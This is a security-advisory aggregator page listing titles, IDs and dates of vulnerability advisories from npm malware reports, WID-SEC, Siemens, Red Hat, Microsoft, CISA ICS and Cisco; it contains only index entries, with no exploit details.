mal-2024-11182 Malicious code in @0xengine/xmlrpc (npm) 2024-12-03T11:38:01Z 2024-12-03T11:38:02Z
mal-2024-11164 Malicious code in acm-nano-logger-fe (npm) 2024-12-02T06:38:26Z 2024-12-02T06:38:26Z
mal-2024-11181 Malicious code in synch-prod-ai (npm) 2024-12-02T05:33:28Z 2024-12-02T05:33:28Z
mal-2024-11163 Malicious code in @hmp/h-shelves (npm) 2024-12-02T02:31:10Z 2024-12-02T03:20:58Z
mal-2024-11022 Malicious code in @hmp/casepaper (npm) 2024-11-27T03:20:58Z 2024-12-02T03:20:58Z
mal-2024-11162 Malicious code in @hmp/h-image-uploader (npm) 2024-12-02T02:27:07Z 2024-12-02T02:27:07Z
mal-2024-11180 Malicious code in tauri-plugin-autostart-api (npm) 2024-12-01T19:53:52Z 2024-12-01T19:53:52Z
mal-2024-11179 Malicious code in tailchat-service-swagger-generator (npm) 2024-12-01T19:22:57Z 2024-12-01T19:22:57Z
mal-2024-11178 Malicious code in tailchat-service-openapi-generator (npm) 2024-12-01T18:53:45Z 2024-12-01T18:53:45Z
mal-2024-11177 Malicious code in spinal-service-ticket (npm) 2024-12-01T18:38:34Z 2024-12-01T18:38:34Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
wid-sec-w-2025-1540 Apache Commons Lang: Schwachstelle ermöglicht Denial of Service 2025-07-13T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1522 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2025-07-09T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1517 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2025-07-08T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1465 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2025-07-06T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1452 Linux Kernel: Mehrere Schwachstellen 2025-07-02T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1350 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2025-06-17T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1328 PostgreSQL JDBC Treiber: Schwachstelle ermöglicht Offenlegung von Informationen 2025-06-15T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1169 Apache Commons BeanUtils: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen 2025-05-29T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1114 Linux Kernel: Mehrere Schwachstellen 2025-05-20T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-0991 Linux Kernel: Mehrere Schwachstellen 2025-05-08T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-0975 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2025-05-07T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-0922 Linux Kernel: Mehrere Schwachstellen 2025-05-01T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-0844 Linux Kernel: Mehrere Schwachstellen 2025-04-16T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-0453 Linux Kernel: Mehrere Schwachstellen 2025-02-26T23:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-0119 Linux Kernel: Mehrere Schwachstellen 2025-01-19T23:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2024-3525 Keycloak: Mehrere Schwachstellen 2024-11-21T23:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2024-3251 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2024-10-21T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2024-2173 Linux Kernel: Mehrere Schwachstellen 2024-09-17T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2024-1047 VPN Clients / DHCP: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen 2024-05-06T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2024-0749 Linux Kernel: Mehrere Schwachstellen 2024-04-01T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2023-1865 Linux Kernel: Mehrere Schwachstellen 2023-07-23T22:00:00.000+00:00 2025-09-22T22:00:00.000+00:00
wid-sec-w-2025-1761 Omnissa Workspace ONE UEM: Mehrere Schwachstellen ermöglichen Offenlegung von Informationen 2025-08-11T22:00:00.000+00:00 2025-09-21T22:00:00.000+00:00
wid-sec-w-2025-2023 cURL: Mehrere Schwachstellen ermöglichen Manipulation von Dateien 2025-09-09T22:00:00.000+00:00 2025-09-18T22:00:00.000+00:00
wid-sec-w-2025-1613 Linux Kernel: Mehrere Schwachstellen 2025-07-20T22:00:00.000+00:00 2025-09-18T22:00:00.000+00:00
wid-sec-w-2025-2079 JetBrains TeamCity: Mehrere Schwachstellen 2025-09-16T22:00:00.000+00:00 2025-09-17T22:00:00.000+00:00
wid-sec-w-2025-2076 Liferay Portal: Mehrere Schwachstellen 2025-09-16T22:00:00.000+00:00 2025-09-17T22:00:00.000+00:00
wid-sec-w-2025-2071 WatchGuard Firebox: Schwachstelle ermöglicht Codeausführung 2025-09-16T22:00:00.000+00:00 2025-09-17T22:00:00.000+00:00
wid-sec-w-2025-2068 Aruba EdgeConnect: Mehrere Schwachstellen 2025-09-16T22:00:00.000+00:00 2025-09-17T22:00:00.000+00:00
wid-sec-w-2025-2049 gdk-pixbuf: Schwachstelle ermöglicht Offenlegung von Informationen 2025-09-14T22:00:00.000+00:00 2025-09-17T22:00:00.000+00:00
wid-sec-w-2025-2045 expat: Schwachstelle ermöglicht Denial of Service 2025-09-14T22:00:00.000+00:00 2025-09-17T22:00:00.000+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
ssa-770902 SSA-770902: Denial of Service Vulnerability in the Web Server of RUGGEDCOM ROS Devices 2023-08-08T00:00:00Z 2025-08-12T00:00:00Z
ssa-770770 SSA-770770: Multiple Vulnerabilities in Fortigate NGFW Before V7.4.7 on RUGGEDCOM APE1808 Devices 2025-02-11T00:00:00Z 2025-08-12T00:00:00Z
ssa-769791 SSA-769791: Local Arbitrary Code Execution Vulnerability in COMOS Before V10.6 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-767615 SSA-767615: Information Disclosure Vulnerability in SIPROTEC 5 Devices 2025-02-11T00:00:00Z 2025-08-12T00:00:00Z
ssa-764417 SSA-764417: Weak Encryption Vulnerability in RUGGEDCOM ROS Devices 2022-03-08T00:00:00Z 2025-08-12T00:00:00Z
ssa-693808 SSA-693808: Deserialization Vulnerability in Siemens Engineering Platforms 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-687955 SSA-687955: Accessible Development Shell via Physical Interface in SIPROTEC 5 2025-02-11T00:00:00Z 2025-08-12T00:00:00Z
ssa-674084 SSA-674084: File Parsing Vulnerabilities in Simcenter Femap Before V2506 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-665108 SSA-665108: Arbitrary File Upload Vulnerability in RUGGEDCOM ROX II 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-613116 SSA-613116: Multiple Vulnerabilities in Third-Party Components in SINEC OS before V3.1 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-529291 SSA-529291: Information Disclosure Vulnerabilities in SICAM Q100/Q200 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-517338 SSA-517338: Multiple Vulnerabilities in SINEC Traffic Analyzer Before V3.0 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-493787 SSA-493787: Arbitrary Code Execution Vulnerability in SIMATIC RTLS Locating Manager Before V3.2 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-493396 SSA-493396: Deserialization Vulnerability in Siemens Engineering Platforms 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-460466 SSA-460466: Denial of Service Vulnerability in TIA Project-Server and TIA Portal 2025-07-08T00:00:00Z 2025-08-12T00:00:00Z
ssa-446307 SSA-446307: Authentication Bypass Vulnerability in BMC (CVE-2024-54085) affects SIMATIC IPC RS-828A 2025-05-13T00:00:00Z 2025-08-12T00:00:00Z
ssa-400089 SSA-400089: Denial of Service Vulnerability in SIPROTEC 4 and SIPROTEC 4 Compact 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-398330 SSA-398330: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP >= V3.1.0 and < V3.1.5 2023-12-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-392859 SSA-392859: Local Arbitrary Code Execution Vulnerability in Siemens Engineering Platforms before V20 2024-12-10T00:00:00Z 2025-08-12T00:00:00Z
ssa-382999 SSA-382999: Multiple Vulnerabilities in Opcenter Quality Before V2506 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-355557 SSA-355557: Multiple Vulnerabilities in Third-Party Components in SINEC OS before V3.2 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-353002 SSA-353002: Multiple Vulnerabilities in SCALANCE XB-200 / XC-200 / XP-200 / XF-200BA / XR-300WG Family 2024-03-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-256353 SSA-256353: Third-Party Component Vulnerabilities in RUGGEDCOM ROS 2022-03-08T00:00:00Z 2025-08-12T00:00:00Z
ssa-186293 SSA-186293: XML External Entity (XXE) Injection Vulnerability in SIMOTION SCOUT, SIMOTION SCOUT TIA and SINAMICS STARTER 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-177847 SSA-177847: Improper VNC Password Check Vulnerability in SINUMERIK Controllers 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-170375 SSA-170375: Multiple Vulnerabilities in RUGGEDCOM ROS Before V5.9 2024-07-09T00:00:00Z 2025-08-12T00:00:00Z
ssa-097435 SSA-097435: Usernames Disclosure Vulnerability in Mendix Runtime 2024-09-10T00:00:00Z 2025-08-12T00:00:00Z
ssa-094954 SSA-094954: Authentication Bypass Vulnerability in BIST mode of RUGGEDCOM ROX II 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-082556 SSA-082556: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP V3.1.5 2025-06-10T00:00:00Z 2025-08-12T00:00:00Z
ssa-725549 SSA-725549: Denial of Service of ICMP in Industrial Devices 2025-04-08T00:00:00Z 2025-07-21T00:00:00Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
rhsa-2024:0777 Red Hat Security Advisory: jenkins and jenkins-2-plugins security update 2024-02-12T10:27:23+00:00 2025-09-23T22:25:44+00:00
rhsa-2024:0766 Red Hat Security Advisory: OpenShift Container Platform 4.15.0 security update 2024-02-28T08:10:56+00:00 2025-09-23T22:25:44+00:00
rhsa-2024:0741 Red Hat Security Advisory: OpenShift Container Platform 4.13.33 bug fix and security update 2024-02-14T06:34:01+00:00 2025-09-23T22:25:44+00:00
rhsa-2024:0682 Red Hat Security Advisory: OpenShift Container Platform 4.11.58 bug fix and security update 2024-02-08T18:42:42+00:00 2025-09-23T22:25:41+00:00
rhsa-2024:0664 Red Hat Security Advisory: OpenShift Container Platform 4.12.49 bug fix update and security update 2024-02-08T19:31:18+00:00 2025-09-23T22:25:39+00:00
rhsa-2024:0660 Red Hat Security Advisory: OpenShift Container Platform 4.13.32 bug fix and security update 2024-02-07T15:07:37+00:00 2025-09-23T22:25:37+00:00
rhsa-2024:0642 Red Hat Security Advisory: OpenShift Container Platform 4.14.11 bug fix and security update 2024-02-07T17:36:34+00:00 2025-09-23T22:25:37+00:00
rhsa-2024:0485 Red Hat Security Advisory: OpenShift Container Platform 4.12.48 bug fix and security update 2024-01-31T16:17:59+00:00 2025-09-23T22:25:36+00:00
rhsa-2024:0273 Red Hat Security Advisory: OpenShift Virtualization 4.12.9 Images security and bug fix update 2024-01-17T08:29:36+00:00 2025-09-23T22:25:35+00:00
rhsa-2024:0484 Red Hat Security Advisory: OpenShift Container Platform 4.13.31 bug fix and security update 2024-02-01T19:01:48+00:00 2025-09-23T22:25:33+00:00
rhsa-2024:0306 Red Hat Security Advisory: OpenShift Container Platform 4.11.57 bug fix and security update 2024-01-24T20:54:46+00:00 2025-09-23T22:25:32+00:00
rhsa-2024:0302 Red Hat Security Advisory: Kube Descheduler Operator for Red Hat OpenShift 5.0.0 for RHEL 9:security update 2024-03-06T13:33:21+00:00 2025-09-23T22:25:31+00:00
rhsa-2024:0290 Red Hat Security Advisory: OpenShift Container Platform 4.14.10 bug fix and security update 2024-01-23T20:26:08+00:00 2025-09-23T22:25:31+00:00
rhsa-2024:0269 Red Hat Security Advisory: Run Once Duration Override Operator for Red Hat OpenShift 1.1.0 for RHEL 9 2024-02-28T00:20:04+00:00 2025-09-23T22:25:30+00:00
rhsa-2024:0198 Red Hat Security Advisory: OpenShift Container Platform 4.12.47 security update 2024-01-17T18:20:55+00:00 2025-09-23T22:25:29+00:00
rhsa-2024:0193 Red Hat Security Advisory: OpenShift Container Platform 4.13.29 bug fix and security update 2024-01-17T09:48:09+00:00 2025-09-23T22:25:29+00:00
rhsa-2024:0059 Red Hat Security Advisory: OpenShift Container Platform 4.11.56 bug fix and security update 2024-01-10T00:23:49+00:00 2025-09-23T22:25:28+00:00
rhsa-2024:0050 Red Hat Security Advisory: OpenShift Container Platform 4.14.8 bug fix and security update 2024-01-09T16:55:38+00:00 2025-09-23T22:25:27+00:00
rhsa-2023:7831 Red Hat Security Advisory: OpenShift Container Platform 4.14.7 bug fix and security update 2024-01-03T20:04:32+00:00 2025-09-23T22:25:25+00:00
rhsa-2023:7827 Red Hat Security Advisory: OpenShift Container Platform 4.13.z security update 2024-01-04T14:22:05+00:00 2025-09-23T22:25:25+00:00
rhsa-2023:7823 Red Hat Security Advisory: OpenShift Container Platform 4.12.46 bug fix and security update 2024-01-04T14:41:38+00:00 2025-09-23T22:25:25+00:00
rhsa-2023:7741 Red Hat Security Advisory: Red Hat Ceph Storage 6.1 security, enhancements, and bug fix update 2023-12-12T13:55:37+00:00 2025-09-23T22:25:24+00:00
rhsa-2023:7710 Red Hat Security Advisory: Red Hat OpenShift for Windows Containers 7.2.0 security update 2023-12-11T00:20:04+00:00 2025-09-23T22:25:24+00:00
rhsa-2023:7704 Red Hat Security Advisory: OpenShift Virtualization 4.14.1 security and bug fix update 2023-12-07T15:00:28+00:00 2025-09-23T22:25:23+00:00
rhsa-2023:7703 Red Hat Security Advisory: Red Hat OpenShift Pipelines 1.10.6 release and security update 2023-12-07T14:57:07+00:00 2025-09-23T22:25:22+00:00
rhsa-2023:7699 Red Hat Security Advisory: Red Hat OpenShift Pipelines Client tkn for 1.10.6 release and security update 2023-12-07T14:26:32+00:00 2025-09-23T22:25:21+00:00
rhsa-2023:7691 Red Hat Security Advisory: OpenShift Container Platform 4.11.55 bug fix and security update 2023-12-13T21:44:50+00:00 2025-09-23T22:25:20+00:00
rhsa-2023:7690 Red Hat Security Advisory: OpenShift Container Platform 4.11.55 security update 2023-12-13T21:03:30+00:00 2025-09-23T22:25:19+00:00
rhsa-2023:7687 Red Hat Security Advisory: OpenShift Container Platform 4.13.26 bug fix and security update 2023-12-13T00:13:20+00:00 2025-09-23T22:25:18+00:00
rhsa-2023:7682 Red Hat Security Advisory: OpenShift Container Platform 4.14.6 bug fix and security update 2023-12-12T09:48:40+00:00 2025-09-23T22:25:17+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
msrc_cve-2025-55225 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-55224 Windows Hyper-V Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-55223 DirectX Graphics Kernel Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54919 Windows Graphics Component Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54918 Windows NTLM Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54917 MapUrlToZone Security Feature Bypass Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54916 Windows NTFS Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54915 Windows Defender Firewall Service Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54913 Windows UI XAML Maps MapControlSettings Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54912 Windows BitLocker Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54911 Windows BitLocker Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54908 Microsoft PowerPoint Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54907 Microsoft Office Visio Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54897 Microsoft SharePoint Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54895 SPNEGO Extended Negotiation (NEGOEX) Security Mechanism Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54894 Local Security Authority Subsystem Service Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54116 Windows MultiPoint Services Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54115 Windows Hyper-V Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54114 Windows Connected Devices Platform Service (Cdpsvc) Denial of Service Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54113 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54112 Microsoft Virtual Hard Disk Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54111 Windows UI XAML Phone DatePickerFlyout Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54110 Windows Kernel Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54109 Windows Defender Firewall Service Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54108 Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54107 MapUrlToZone Security Feature Bypass Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54106 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54105 Microsoft Brokering File System Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54104 Windows Defender Firewall Service Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
msrc_cve-2025-54103 Windows Management Service Elevation of Privilege Vulnerability 2025-09-09T07:00:00.000Z 2025-09-09T07:00:00.000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
icsa-25-233-01 Mitsubishi Electric Corporation MELSEC iQ-F Series CPU module (Update A) 2025-08-21T06:00:00.000000Z 2025-09-09T06:00:00.000000Z
icsa-25-226-31 Rockwell Automation 1756-ENT2R, 1756-EN4TR, 1756-EN4TRXT (Update A) 2025-08-14T06:00:00.000000Z 2025-09-09T06:00:00.000000Z
icsa-25-219-07 EG4 Electronics EG4 Inverters (Update B) 2025-08-07T06:00:00.000000Z 2025-09-09T06:00:00.000000Z
icsa-25-058-01 Schneider Electric communication modules for Modicon M580 and Quantum controllers (Update B) 2025-02-27T07:00:00.000000Z 2025-09-09T06:00:00.000000Z
icsa-24-296-01 Mitsubishi Electric Iconics Digital Solutions and Mitsubishi Electric Products (Update A) 2024-10-22T06:00:00.000000Z 2025-09-09T06:00:00.000000Z
icsa-25-252-02 ABB Cylon Aspect BMS/BAS 2025-09-09T05:00:00.000000Z 2025-09-09T05:00:00.000000Z
icsa-25-266-03 Schneider Electric SESU 2025-08-12T04:00:00.000000Z 2025-09-09T04:00:00.000000Z
icsa-25-259-01 Schneider Electric Multiple Altivar Process Drives and Communication Modules 2025-09-09T04:00:00.000000Z 2025-09-09T04:00:00.000000Z
icsa-25-254-08 Schneider Electric EcoStruxure 2025-08-12T04:00:00.000000Z 2025-09-09T04:00:00.000000Z
icsa-25-254-07 Siemens User Management Component (UMC) 2025-09-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-254-06 Siemens Industrial Edge Management 2025-09-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-254-05 Siemens Apogee PXC and Talon TC Devices 2025-09-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-254-04 Siemens SINEC OS 2025-09-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-254-03 Siemens SINAMICS Drives 2025-09-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-254-02 Siemens SIMATIC Virtualization as a Service (SIVaaS) 2025-09-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-254-01 Siemens SIMOTION Tools 2025-09-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-226-22 Siemens Web Installer 2025-08-12T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-226-05 Siemens WIBU CodeMeter Runtime 2025-08-12T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-135-01 Siemens RUGGEDCOM APE1808 Devices 2025-05-13T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-072-03 Siemens SIMATIC S7-1500 TM MFP 2025-03-11T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-24-102-01 Siemens SIMATIC S7-1500 TM MFP V1.1 2024-04-09T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-24-074-11 Siemens Fortigate NGFW before V7.4.1 on RUGGEDCOM APE1808 devices 2024-03-12T00:00:00.000000Z 2025-09-09T00:00:00.000000Z
icsa-25-105-07 Delta Electronics COMMGR (Update A) 2025-04-15T06:00:00.000000Z 2025-09-04T06:00:00.000000Z
icsa-25-217-01 Mitsubishi Electric Iconics Digital Solutions Multiple Products (Update A) 2025-08-05T05:00:00.000000Z 2025-09-04T05:00:00.000000Z
icsa-25-245-03 SunPower PVS6 2025-09-02T06:00:00.000000Z 2025-09-02T06:00:00.000000Z
icsa-25-245-02 Fuji Electric FRENIC-Loader 4 2025-09-02T06:00:00.000000Z 2025-09-02T06:00:00.000000Z
icsa-25-245-01 Delta Electronics EIP Builder 2025-09-02T06:00:00.000000Z 2025-09-02T06:00:00.000000Z
icsa-25-240-06 GE Vernova CIMPLICITY 2025-08-28T06:00:00.000000Z 2025-08-28T06:00:00.000000Z
icsa-25-240-05 Delta Electronics COMMGR 2025-08-28T06:00:00.000000Z 2025-08-28T06:00:00.000000Z
icsa-25-240-04 Delta Electronics CNCSoft-G2 2025-08-28T06:00:00.000000Z 2025-08-28T06:00:00.000000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
cisco-sa-ftd-dos-svkhtjgt Cisco Secure Firewall Threat Defense Software Snort 3 Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-fmc-xss-jtnmcusp Cisco Secure Firewall Management Center Software Cross-Site Scripting Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-fmc-xpathinj-corthdmb Cisco Secure Firewall Management Center Software XPATH Injection Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-fmc-radius-rce-tnbkf79 Cisco Secure Firewall Management Center Software RADIUS Remote Code Execution Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-fmc-html-inj-mqjrzrny Cisco Secure Firewall Management Center Software HTML Injection Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-fmc-ftd-cmdinj-phe7kmt Cisco Secure Firewall Management Center and Secure Firewall Threat Defense Software Command Injection Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-fmc-cmd-inj-hcrlpfyn Cisco Secure Firewall Management Center Software Command Injection Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-fmc-authz-bypass-m7xhnau Cisco Secure Firewall Management Center Software Authorization Bypass Vulnerabilities 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asaftd-vpnwebs-dos-hjbhmbsx Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Remote Access VPN Web Server Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asaftd-vpn-dos-mfpeka6e Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Remote Access SSL VPN Denial of Service Vulnerabilities 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asaftd-nat-dns-dos-bqhynhtm Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Network Address Translation DNS Inspection Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asaftd-http-file-huyx2jl4 Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software VPN Web Server Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asaftd-dhcp-qj7ngs4n Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software DHCP Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asaftd-cmdinj-vehfezq3 Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Authenticated Command Injection Vulnerabilities 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asa-ftd-ios-dos-doeshwhy Cisco IOS, IOS XE, Secure Firewall Adaptive Security Appliance, and Secure Firewall Threat Defense Software IKEv2 Denial of Service Vulnerabilities 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asa-ftd-acl-bypass-mtpze9yh Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Access Control Rules Bypass Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asa-buffer-overflow-pyruhwbc Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Web Services Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-webex-join-ynxfqhk4 Cisco Webex Meeting Client Join Certificate Validation Vulnerability 2025-08-06T16:00:00+00:00 2025-08-06T16:00:00+00:00
cisco-sa-ise_xss_acc_cont-ysr4ut4u Cisco Identity Services Engine Stored Cross-Site Scripting Vulnerabilities 2025-08-06T16:00:00+00:00 2025-08-06T16:00:00+00:00
cisco-sa-20170629-snmp SNMP Remote Code Execution Vulnerabilities in Cisco IOS and IOS XE Software 2017-06-29T16:00:00+00:00 2025-07-30T16:27:06+00:00
cisco-sa-ise-unauth-rce-zad2gnj6 Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities 2025-06-25T16:00:00+00:00 2025-07-24T23:30:31+00:00
cisco-sa-piepnm-bsi-25jjqsbb Cisco Prime Infrastructure and Evolved Programmable Network Manager Blind SQL Injection Vulnerability 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
cisco-sa-ise-multi-3vpsxoxo Cisco Identity Services Engine Authenticated Remote Code Execution and Authorization Bypass Vulnerabilities 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
cisco-sa-cuis-ssrf-jsudjev Cisco Unified Intelligence Center Server-Side Request Forgery Vulnerability 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
cisco-sa-cuis-file-upload-uhnetstm Cisco Unified Intelligence Center Arbitrary File Upload Vulnerability 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
